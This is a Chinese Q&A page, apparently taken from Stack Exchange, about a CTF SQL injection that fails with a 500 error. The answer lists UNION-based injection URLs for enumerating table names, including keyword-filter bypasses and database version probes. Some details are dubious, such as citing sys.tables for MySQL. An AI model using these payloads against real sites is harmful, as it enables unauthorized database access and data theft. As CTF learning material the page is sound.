CTF中用UNION查询获取表名失败,触发500内部服务器错误
CTF SQL注入:查询INFORMATION_SCHEMA.TABLES触发500错误排查
问题背景
已定位SQL注入点并确定原查询列数为4,使用UNION SELECT 1,1,1,1可得到正常响应,但尝试查询系统表获取表名时触发500内部服务器错误:
正常验证语句
http://example.come/search.php?search=ball'UNION SELECT 1,1,1,1'
触发错误的语句
http://example.come/search.php?search=ball'UNION SELECT table_name,1,1,1 FROM INFORMATION_SCHEMA.TABLES'
排查方案
字符类型不匹配:原查询的第一列可能是数字类型,而
table_name是字符串类型,类型冲突会导致数据库报错。可以尝试调整列位置(比如把table_name放到第二列:UNION SELECT 1,table_name,1,1),或者将table_name转换为兼容类型:http://example.come/search.php?search=ball'UNION SELECT CAST(table_name AS CHAR),1,1,1 FROM INFORMATION_SCHEMA.TABLES'结果集过大:
INFORMATION_SCHEMA.TABLES包含大量系统表数据,返回过多结果可能导致服务器异常。先限制返回数量测试:http://example.come/search.php?search=ball'UNION SELECT table_name,1,1,1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1'语句闭合不完整:原查询可能在注入语句后还有未处理的引号,导致语法错误。添加注释符号忽略后续内容:
http://example.come/search.php?search=ball'UNION SELECT table_name,1,1,1 FROM INFORMATION_SCHEMA.TABLES -- '注:
--后面需要加空格,部分MySQL环境也可用#作为注释符。WAF/关键词过滤:环境可能对
INFORMATION_SCHEMA做了过滤,尝试绕过:- 大小写混合:
information_schema.tables - 注释分割:
INFOR/*test*/MATION_SCHEMA.TABLES - 数据库特定替代表:比如MySQL可用
sys.tables,PostgreSQL用pg_tables,SQL Server用sys.tables
- 大小写混合:
确认数据库类型:不同数据库的系统表结构不同,先查询版本信息确认:
- MySQL:
http://example.come/search.php?search=ball'UNION SELECT VERSION(),1,1,1 -- ' - SQL Server:
http://example.come/search.php?search=ball'UNION SELECT @@VERSION,1,1,1 -- '
- MySQL:
内容的提问来源于stack exchange,提问作者Subhash S
相关产品推荐
相关产品推荐

